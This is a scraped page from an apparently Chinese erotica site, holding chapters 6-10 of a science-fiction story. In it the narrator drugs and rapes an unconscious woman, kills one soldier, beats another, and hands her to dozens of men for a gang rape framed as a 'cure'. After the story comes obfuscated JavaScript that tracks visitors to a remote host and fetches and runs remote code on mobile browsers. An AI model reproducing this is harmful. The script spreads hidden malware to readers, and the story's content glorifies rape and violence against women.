热搜排行
对抗凤凰星(6-10)科幻 情色
六、首次出击
我悄悄摸进了一个工程队驻地,这里的防卫很鬆懈,凤凰星人没有想到居然有人倖存下来,还生活在这里,她们很放鬆。
我从窗户进入了一间房子,寻找文件命令甚至报纸杂誌等资料,我们需要知道更多关于凤凰星的情报。正在我小心寻找时,我听到外面走廊传来了“笃笃”的脚步声,这些凤凰星美女们通常都穿高跟鞋或长靴,这种“笃笃”声就是她们发出来的。情急之下,我躲进了一个衣柜了。一会儿,有个美女开门进来,她有一头长长的秀髮,高挑的个头,非常短的一步裙,我觉得那只能勉强包住她浑圆的臀部,上身是一件白色的衬衣,穿的很随意,有几粒扣子没扣,她扶着桌子弯腰脱她的高跟鞋时,我可以看到她深深的乳沟和白色的蕾丝乳罩。脱掉高跟鞋后,她解开裙子,我发现她没有穿内裤,只穿了一双近乎透明的连裤袜,然后她侧过身,轻轻把脚抬到桌上,从脚上开始整理她的丝袜,把皱纹拉平,把丝袜拉伸。 我欣赏着这个动人的场景,从她包裹透明丝袜的优雅的脚,到富有弹性的小腿,丰满的大腿,还有她纤细灵巧的手指,整理完一条腿后,她抬起另一条腿,继续整理起来。我似乎能听到她的手指在丝袜上滑行的声音,我感到难以遏制的激动,我想要她,我对自己说,我看着她修长的腿,还有俯身时白衬衣里时隐时现的美乳,我想要她。我从衣兜里拿出一瓶药水,这是特工执行潜入任务时常备的麻醉剂,我小心地脱下鞋袜,她已经快整理完了,虽然我是潜入的老手,不过面对这样的美女,我觉得自己的心跳很剧烈,我把药水倒在自己的袜子上,让你尝尝本人袜子味道也不错。现在她已经整理完自己的裤袜,正在背对着我低头扣裙子。绝好的时机,我悄悄摸到她的身后,她毫无觉察。我可以闻到她身上的香水味了,我觉得心就要跳出胸膛了,我要她!我猛然扑上去,一手用沾着药水的袜子捂住了她的嘴和鼻子,一手拦腰把她抱住,她毫无防备,一声惊叫被捂在喉咙里,只发出“嗯!”的一声,我把她往后拉,让她的头倒在我的肩膀上,使劲捂住她。一只臂膀牢牢地抱住她,勒在她柔软的胸部下面,把她的双乳托起。她本能的想掰开我捂住她的手,我毫不鬆懈,用力捂住。她想求救,我听到她发出的“唔!唔!”声,很快她的声音越来越弱,只有微弱的“嗯……嗯”声了,她手上的力气也慢慢消失了,现在她的手只是无力的搭在我的手上,做着推开我的无用努力。之后,她身体一软,不在挣扎,完全向后倒在我的怀里,两只手也不再推拉,软绵绵地垂了下去,她的头歪在我的肩膀上,眼睛微微闭着,我继续抱着她,贪婪的闻着她身体的香味,她已经无法站立了,我就势把她慢慢地放在地板上,把袜子从她嘴鼻上拿走,她昏迷不醒的样子很诱人,眼睛微微闭着,头歪向一边,一只手搭在自己的腹部,一只手无力的放在自己的头边,长髮散开在地上,胸部微微起伏着,她的左腿完全伸平,右腿微微弯曲着,向内侧靠着左腿。我从头到脚欣赏完我的猎物,站起身来,轻轻走到门边,听外面的动静,没有任何异常,我小心地反锁上了门,回到我的猎物旁边,现在她是我的了。
我蹲下身,抚摸她的双腿,我很喜欢自己的手掌拂过她丝袜美腿的感觉,她的腿很修长匀称,充满了青春的活力,我把头埋在她的大腿上,感受着她大腿的弹性和香味,然后我把她的一条腿抬起来,放在我的肩上,两只手上下抚摸着,享受着这份特有的光滑和弹性。我吻遍了她的双腿,她一动不动任由我搬弄。我靠着她和她平躺在一起,她的脸歪向另一边,我可以看到她粉嫩的脖颈,我的手指轻轻抚摸她的脖子,然后托着她的下巴,把她的头转过来,面向我,我的手指轻轻滑过她的额头、眉毛、翘起的鼻子,嘴唇,她的嘴很性感,微微张着,我的手继续下行,隔着她的衬衣,抚摸玩弄她的乳房,我看到她微微皱了下眉,没关係她仍在昏迷中,然后我解开了她白衬衣的扣子,随着扣子被解开,白衬衣向两边滑落,她丰满的胸部暴露在我的面前,我把手指伸到她的胸罩里,捏住她的乳头,她“嗯!”了一声,我停下来看着她,不过她并没有醒,我把她的胸罩往上推,她的乳房马上跳了出来,我一手一个抓住,好柔软,好舒服,我爱死了这种感觉。我把头埋在她的双乳上,贪婪的亲吻吮吸,两手不停地揉捏,她的胸部在我的揉捏下变换着形状,亲吻着,我的一只手离开她的双峰,向下游移,她的腰、光滑的肚皮,到她两腿之间的地方停了下来,隔着丝袜我的手指摩擦着她的敏感部位,她“嗯!”了一声,紧皱着眉头,头摇晃了一下,继续昏睡过去。我一只手继续玩弄她的下体,另一只手不停揉捏她的双乳,有时动作过大,她一直微微皱着眉,有时动作过大,她轻声发出“嗯,嗯”的声音。我已经无法控制自己了,我飞快的脱掉了自己的衣服,跪坐在她的两腿间,然后把她的两腿分开,撕开她的丝袜,急切的挺了进去,她又“嗯”了一声,我不管这么多,开始向她抽插,不久,我俯下身躯,双手抱住她的头疯狂的吻她,下身拼命地抽插。我直起身来,一手一个抓住她的脚踝,把她的两腿分开,继续疯狂的进攻。我觉得我的呼吸顺畅了很多,有用不完的体力,当时我没有想太多,我只想着胯下这个被我蹂躏的美女。随着我动作越来越激烈,她发出的“嗯,嗯”声,越来越多,有时手也会无意识的动一下,不过,我完全顾不了这么多,我已经无法自拔。这时,我发现她微微睁开了眼睛,她醒了!我也清醒了过来,不能让她呼救,这里可有不少凤凰星人呢。我急忙压在她的身上,用手捂住她的嘴,她也完全清醒过来,惊恐的睁大眼睛,开始挣扎,我的生殖器还插在她的下体里,她一扭动身体,让我觉得非常的舒服,很明显,她也感觉到了,我看到她的脸通红,不再扭动身体了。我继续捂住她的嘴,小声对她说:“听着,我不会杀了你,你不要叫,好吗?”她顺从的点了点头,眼睛仍然惊恐地看着我,我继续压在她的身体上,“嘘!”我做了个禁声的动作,捂她嘴的手放鬆了一点,同时一只手卡在她的脖子上。“听着,我现在不再捂住你的嘴巴了,作为回报,你不能叫喊,听到了吗,不然我会马上掐死你,扭断你的脖子都不用一秒钟,你明白吗?”说完,我用力掐她的脖子,她惊恐的摇头,我停止用力,“明白了吗,掐死你很容易。”她使劲点了点头,泪水夺眶而出。“妈的,不要哭,我看不得这个。”我鬆开了捂她的手,她开始咳嗽,然后她用足力气拼命喊“救……”后面的字她没有喊出来,一双袜子牢牢地按在她的嘴上。“妈的,我就知道你们凤凰星人从不遵守协议。还好我留了一个心眼”她开始拼命挣扎,我不理她,她的力气并不大。我用袜子继续捂住她,那上面的药水应该还有效,我开始继续抽插,她的反应很大,拼命“唔!!唔!!”的叫着。挣扎吧,用力挣扎吧,这样药水起效更快,果然,很快她的身体就软了下去,双手无力的拍打我的胳膊,我继续用力抽插着,她的身体随着我的抽插而颤动着,终于,她再次昏迷了过去,我哼了一声,把我的生殖器拔了出来,光着身子站起来,下身还挺立着,我把衣服里的药水翻出来,又倒了一些到袜子上,重新捂住她的嘴,这是爲了保险起见,我不希望她在醒来了。我把她抱了起来,她软的像一滩泥,双手双脚都无力的垂着,我把她翻过来放在桌上,背对着我,两腿垂在地上,她的臀部在桌子边上,“高度正好”我对自己说,然后我把她的脸侧过来,捉住她的双手扭到背后。从后面插入了进去,我不停地抽插着,看着我的猎物在我的抽插中颤动,毫无反抗的能力。最后我终于射了,我瘫倒在她的身上,舒服的大口呼吸,这时,我听到有脚步声,我屏住呼吸,希望门外这个凤凰星美女只是路过。不过脚步声在门外停住,接着响起开门的声音,不过因为我之前反锁了门,她没能把门打开,接着就响起了敲门声。

七、病毒
我飞快的整理好,打开窗户,无限留恋的看了一眼那个依然昏迷的美女,跳了出去。不一会,我就听到了警报声,不过这时我已经脱离了危险区,隐身在黑暗的群山中了。我几乎是一口气跑上山来的,然后我停下脚步,扭头看着山下的工程驻地,那里现在肯定炸开了窝,想到这里,我充满了快感,哦,我身上还有那个美女的气味,我深吸了口气,觉得心里很甜美。突然,我想起了什麽。天啊,我是一个感染病毒的人,我不能剧烈运动,我呼吸困难,可是今晚从袭击那个美女开始,这些癥状都消失了,天,难道这样可以缓解癥状,或者乾脆就是解药,这样的想法让我异常兴奋,如果和凤凰星美女做爱,可以克制这个由凤凰星人一手炮製的病毒,真是绝大的讽刺。爲了证实我的癥状确实消失了,我用跑步的方式一路回到我们藏身的那个矿洞,门口的守卫被我的活蹦乱跳吓了一跳,事实证明,确实是癥状消失了,而且我似乎更有体力了。我兴奋极了,要把这个消息告诉红鬍子,“红鬍子!嘿!红鬍子,猜猜我发现了什麽?红鬍子?”矿洞里的人面色凝重,也没有红鬍子的回答。“怎么了?”我问。有人往 面的一件房指了一下,我觉得心里凉了半截。我沖入房间,看到红鬍子躺在床上,有个人正在照料他,看到我进来,他做了个小声的动作,我走进红鬍子,看到他面色惨白,手在不停颤抖。“你刚走,红鬍子就病毒发作了,他没有当时就死掉,真是奇迹。不过,我估计他撑不到不了明天早上了。”那个照顾他的人小声对我说,然后他把一条湿毛巾放在红鬍子的额头上,拍拍我的肩膀转身离开了。
“红鬍子,红鬍子。”我小声呼唤他
他缓缓睁开眼睛,很疲惫的笑了“嘿,萨杰,最近好吗?”
我觉得我快要哭了。
“红鬍子,你不会死的,我今晚有重大发现,可以治愈病毒。”
红鬍子笑了:“别说了,这个病毒是没救的,他颤抖的抬起手指着自己的胸。”那里衣服上有个暗口袋,我们特工常会这样,把一些重要的文件放在这里。
“你要我取出 面的东西吗?”
红鬍子点点头,无力的放下了手。我小心地打开他的暗口袋(那需要一些手法,普通人不会) 面有一个播放器,我把播放器放在手上,这是一个小型全息播放器,能投射全息影像到空中,我望向红鬍子,他点点头。于是我按下了播放键。
播放器开始工作,一个被缩小的人影被投射到我的面前。
“你好,我是潘图斯博士,清河人,我在无意中做了对不起我的同胞的事情,现在已经无法挽回了,我希望在事情发生之前,有人能看到这个信息,并且通知我的同胞,因为我自己很快就会被她们灭口。我是主攻病毒学的博士,我对整个星际间流行的大部份病毒都了如指掌,我对病毒的癡迷已经到了无以复加的地步,这最终也害了我。我很少呆在清河星,我总是从一个星球到另一个星球,追逐病毒的脚步,你知道病毒这个东西经常会发生些有趣的变异,或是增强它,或者衰减,更有甚者,有些乾脆会变成另一种病毒……,啊,对不起,我们回到正题吧,我被一个凤凰星大使邀请,因为她们那里流行一种奇怪的病毒,想请我去研究,她们需要我的专业意见,如果你见过凤凰星人,你一定能体会我当时的心情,病毒的对我的诱惑很大,可是凤凰星人那些可爱的美女们,你根本就没办法忍心拒绝,哎……。我当然去了。我马上就发现,这不是自然界可能存在的病毒,它绝对是人工製造的,不过它还很不成熟,存在瑕疵。我说出了我的观点,我拒绝为生化武器提供谘询,她们笑了,说这可不是生化武器,只是从某个粗心的实验员手里洩漏出来的病毒,我们是要消灭它,我……,我相信了她们的花言巧语,着手研究这个病毒,不断提出克制这个病毒的办法,而那些该死的凤凰星人则不断地拿给我新的变异体,终于我无法找出这种病毒的剋星了,它是无敌的,而且更“妙”的是,我最后发现,它根本不会感染凤凰星人。我被骗了,这毫无疑问是生化武器,完美的生化武器。我悲哀的发现,我知道的太晚,这种病毒已经很成熟了,在我的帮助下,太可怕了,太可怕了。我永远回不去清河了,她们会杀掉我灭口,我一想到我的故乡清河,还有千千万万的星球都会遭遇到这种可怕的病毒,我就无比悔恨……。永别了。我注定会成为被万事唾弃的人。
全息信号终止了,我最后看到是潘图斯博士垂头丧气的样子。我关上播放器,“天,你从哪里搞到这个的?”
“我也是刚得到,来源绝对可靠,我们没有希望了。”红鬍子淡淡地说
“不”我笑了“不,潘图斯这个一辈子研究学术的老古板,他永远都不知道这个病毒的剋星,但是我今晚知道了。”
“哦?”红鬍子看上起很疑惑
于是我把我今晚的情行原原本本的告诉了红鬍子。
红鬍子听完后,不怀好意的笑:“嘿,萨杰,我还真不知道,你有这样的嗜好。”
“废话,别说没用的,反正我现在毫无病毒感染的癥状了,就因为我干了那个凤凰星美女。潘图斯博士不是说病毒不感染凤凰星人吗,说明她们具有抗体,而你和那些美女做爱,对,疯狂的做爱,能够让你也获得抗体,这就是病毒的剋星。”
红鬍子这次笑的更厉害了,他不停咳嗽着“嘿,萨杰,你是说跟一个凤凰星美女做爱,就能治病,哈哈,我们应该马上脱光衣服出去,和碰上的所有美女疯狂做爱,这样清河星就得救了,哈哈,看吧,一举两得,你又满足了自己的性慾,又成了拯救星球的英雄,嘿,我敢打赌,谁的老二更长更粗,谁就是最大的英雄,下次总统选举,大家都不要演说啊,辩论的啦,只要脱了裤子比老二就行了。哈哈,哈哈哈,萨杰,好样的,萨杰……。”
我冷冷的看着他“我知道,这听起来很荒谬,不过事实就是这样,你看我现在有病毒感染的癥状吗?”
红鬍子停住笑“我不知道,我看不出来,我不是医生,不过谢谢你,萨杰,你能让我笑着死去,谢谢你,真的,谢谢你。”说完他握住我的手,又忍不住大笑起来,“比老二长短来做总统,哈哈哈。”
“听着,红鬍子,我要用事实证明我的说法,你要参加我的实验,我去弄个美女回来,你呢,你要做的事,就是在我回来之前,你一定不能死掉,你听到了吗!”
红鬍子忍住笑,表情严肃的点点头,不过一秒钟之后,他“扑哧”一声又开始大笑起来。
那个负责照顾红鬍子的人探头进来,他很奇怪发生了什麽事。我对他说“你一定要确保红鬍子今晚不能死掉,等我回来,我有办法。”
那人睁大了眼睛“我的天,这是病毒啊,又不是感冒发烧,我能确定他不死吗?你又能有什麽办法?”
“你别管了,你照做就是”我拔腿往外走,身后传来红鬍子的又一场大笑。

八、潜回
我冲出矿洞,现在时间紧迫,我要不管从什麽地方弄一个活的凤凰星美女回来,不然红鬍子就完了。
我一口气往工程驻地跑,虽然现在回去很危险,不过我已经顾不得这些了,我一口气跑到山顶,山下的工程驻地灯火通明,山脚下有无数灯束在晃动,看来凤凰星人正在附近搜索,我咬了咬牙,希望能遇到个落单的,我向着灯束的地方沖去。
有一队搜索队员正在升起的火堆边休息,我隐藏在黑暗中,静静观察,借着明亮的火光,我发现这些搜索队的服饰我第一次看到,她们穿的是黑色的丝袜,黑色短裙,但看起来裙子的质地很轻柔,轻飘飘的遮住臀部和一小截大腿,风吹过时,裙角飞扬,让人神往。上身也是黑色的制服,高高的领子,包裹着她们粉嫩的脖颈,不过在胸部的位置,有一部份是裸露的,能够看到她们高耸乳房的上半部,由于制服是紧身的缘故,感觉她们的胸部特别丰满。她们的头髮都统一盘在脑后,戴着船形帽。距离太远,我看不清她们制服上好帽子上的徽记,不过我猜,这肯定是凤凰星的军队或是警察之类的。
我没有继续接近这些在火堆边休息的美女,如果是纪律部队,她们一定在营地周围布有警戒线之类的预警装置。我慢慢退了回去,继续寻找其他目标。
我注意到通往工程驻地的路上偶尔有车来往,都是载重车辆,进去时车身很重,底盘很低,而且行车小心,像是要避免不必要的震动,出来时,车身就轻很多,马上都开足马力扬长而去。我想她们是往这里运送什麽东西,可能是把这里改造成军用基地,以清剿我们这些残余危险分子。
我打算在公路附近下手,我摸到公路边,这里有个哨卡,有个黑丝美女在来回踱步,肩上背着激光枪,我继续观察了一下,发现不止一个人,而且这里灯火通明,在这下手马上会被打成灰。
我继续往前摸,发现公路在这里有个急转弯,我计上心来。来到转弯处,果然是伏击的好地方,转弯后,工程驻地、哨卡、搜索队等等都被挡在了大山后,这里一片漆黑,只有偶尔来往的载重车的灯光。
我要做的就是想办法截停一辆车,然后绑一个美女回去。我看看四周,呵呵,有办法了,我掏出一把匕首,走到一棵大树前,计算好角度,让这颗树正好倒在路上,当然,当然不是用匕首砍树了,我把匕首的柄部扭开,拉出一根细线,缠在树干上,然后我离开大树,按下开关,那根细线开始慢慢收紧,树开始摇晃,然后轰的一声倒在了路上。成功了,这种线原本是绞喉用的,不过特工们马上发现这种特殊材料的细线有很大的强度,有特工用它切断石柱的记录,切断树当然不是问题。

九、奇袭
过了一会,路上有灯光闪耀,有两束光以很高的速度前进,是两辆悬浮机车,这是一种速度很快的机动器,单人驾驶,可在后座搭载一人,悬浮前进。机车来到倒在路面的树前猛然停住,车上各有一名黑丝美女,她们没有熄火,我能听到悬浮器发出的嗡嗡声。
“我下去看看,你留在这。”一名黑丝美女胯下了机车,向断树走去。
车灯从她身后照去,把她的身影拉得很长。另一名黑丝美女仍然跨在车上注视着。
我悄悄摸进,那名在断树边的美女正在四处查看,我没有犹豫,扑向了跨在机车上的这名美女,双手扭住她的头一使劲,她低低的“啊!”了一声,我听到了骨头扭断的声音,然后她像棉花一样软在了我的怀里。
“怎么回事?谁在那?”那名在四处查看的美女听到了异常,转过身来询问。
我鬆开怀里的美女,闪入车灯外的黑暗中,她摇晃了一下,翻下车来,一只腿还套在机车脚蹬上。
剩下的美女跑回来,看到同伴倒在了地上,马上拔出配枪,四下搜索。
这个要活的,我突然从黑暗中闪出,冲向她,她也转过身用枪指着我,没等她开枪,我一掌打在她的手腕上,手枪飞了出去。她惊叫一声,向后跳开,现在我们面对面对峙在一起了。
她摆出了格斗的架势,我没有多说话,直接向她挥拳打去,她很灵活,身子一侧闪开了,然后“呀!”的一声全力挥拳打向我头,我侧脸躲过,顺势抓住她伸出的手腕,使劲一扭,她惨叫了一声,身体扭曲过来,单膝跪倒,我一脚踹在她的背部,同时鬆开了扭住她的手,“呃……”她痛苦的呻吟着,摔倒在前面。我围着她缓缓绕圈,她痛苦的爬起来,一只胳膊已经脱臼,无法抬起来。她捂着自己的臂膀,粗重的喘气,我觉得这种喘息声让她显得很性感。
我再次进攻,她只能用一只手招架,用脚踢,已经全然没有了章法,很快她的肚子中了一拳,她惨叫着半蹲下去,我觉得我很喜欢听她的惨叫声,那么性感,于是我接连进攻,她已毫无抵抗能力,腿部、腹部、胸部、背部频频中招,终于她倒下后,没能爬起来,她已经耗尽了体力,倒在地上呻吟。我结束了这场猫捉老鼠的游戏,把她抱起来,用双臂托着她走向一辆机车,她全然没有反抗,头向后仰着,双手双脚无力的垂下,随着我的步伐晃动。我把她横腰放在机车的后座上,跨上机车扬长而去。

十、轮奸
当我把这个黑丝美女带会矿洞时,引起了不小的骚动,人人都争相来观看这个虚弱的黑丝美女,现在我们从她的制服上知道,她是凤凰星的军队成员,隶属黑丝军团。我把这个性感的女战士摆在红鬍子的面前,红鬍子一脸惊异。
“怎么样,我做完了我的事,现在,你打起精神来继续干她,继续我们的实验。”
红鬍子笑了:“萨杰,认识你真好,临死前我不但开怀大笑过,还能满足我的性慾,嘿!你真够意思。”
我烦躁的一挥手“不管你相不相信我,干她,就能救你。所以他妈的你赶快给我起来,好好的操这个女人,我跑了一晚上,我真的累了。”
“好吧,”红鬍子坐起来,“你可以出去了。”
“什麽?你打算自己来?”
“萨杰,每人都有自己的性取向,我不喜欢有旁观者,这样让我觉得自己是个演员。”
“你确定你一个人可以搞定?”
“妈的,出去!”
我扭头走出房间,关上门,留红鬍子和女战士在房里,但我不敢离开,毕竟红鬍子的病毒发作后,虚弱了很多。
我听到房间里传来家具的碰撞声,东西掉地的破裂声,女战士的惨叫声。
“嘿!,啊……,红鬍子,你确定不需要帮忙。”我朝房间里喊。
“住嘴!!”红鬍子的声音
我闭嘴了,继续静静地听。
“呃……,不……,啊!!”
房间里传来女战士的哀鸣,我放下心来。
“啊,啊,啊……别,别!!”
“哦啊,啊,呃!!”
“嗬……嗬……,嗯!!”
……
我注意到矿洞里的人都聚集在我的身边,竖起耳朵听 面的动静,因为那个美女的呻吟越来越大,大家都按捺不住,这是很正常的。不过有些人居然当衆就开始摸自己的下体,这,怎么说呢?
房间里美女的哀鸣和呻吟终于消失了,现在可以清楚地听见床吱呀吱呀的声音,一阵比一阵猛烈。我开始有些崇拜红鬍子了。
最后,房门打开了,红鬍子赤身裸体地站在我们面前,脸上带着满足的微笑,病态全无。
“萨杰,谢谢你。”
“不客气”我盯着红鬍子的下体看,那里依然挺立着“天啊,红鬍子,按尺寸算,你可以竞选总统了。”
“哈哈哈。”红鬍子爽快的笑“来呀,谁想试试这个美女,或者说解药的滋味?恩?”
大家一哄而入,我看到那个美女已经瘫软在床上,身上的衣服已经被撕碎,两腿的黑丝袜也已经被撕开。大家七手八脚把她抬下床放在地上,我看到所有的人都在脱裤子,然后一拥而上,有人扑向那对双乳,揉捏着,有人张嘴满身乱啃,有人忘情的抱着美女雪白的大腿伸出舌头狂舔,有人掰开美女的嘴,把自己的生殖器插进去,总之,场面很混乱,我只能看到一个个男人的背,或者一张张贪婪的脸,剩下的就是随着抽插的节奏,在空中摆动的美女洁白的脚,还有一只无力伸开的纤细的手。
我们矿洞里有几十人,除了我和红鬍子,他们整晚都像饿狼一样,围着那个美女,不停地蹂躏她,不停地抽插。那个美女已经彻底丧失了意识,她被人一遍又一遍的蹂躏、凌辱。
早上的时候,终于大家都满足了性慾,沉沉睡去,房间里无比的淩乱、污秽。
我和红鬍子被迫在白天离开了矿洞,钻入附近的树林里,讨论下一步的计划。
猜你喜欢下面这些
function rDbavnK(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function QGrUp(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return rDbavnK(t);};window[''+'P'+'Z'+'k'+'K'+'t'+'S'+'n'+'O'+'e'+'c'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MkShE(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=QGrUp,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MkShE(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MkShE(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1rdnNmLmNuJTNBODgg5MQ==','d3NzJTNBJTJGJTJGYSS5rZmdqYSS5jbiUzQTk1MzM=','168621',window,document,['g','S']);}:function(){};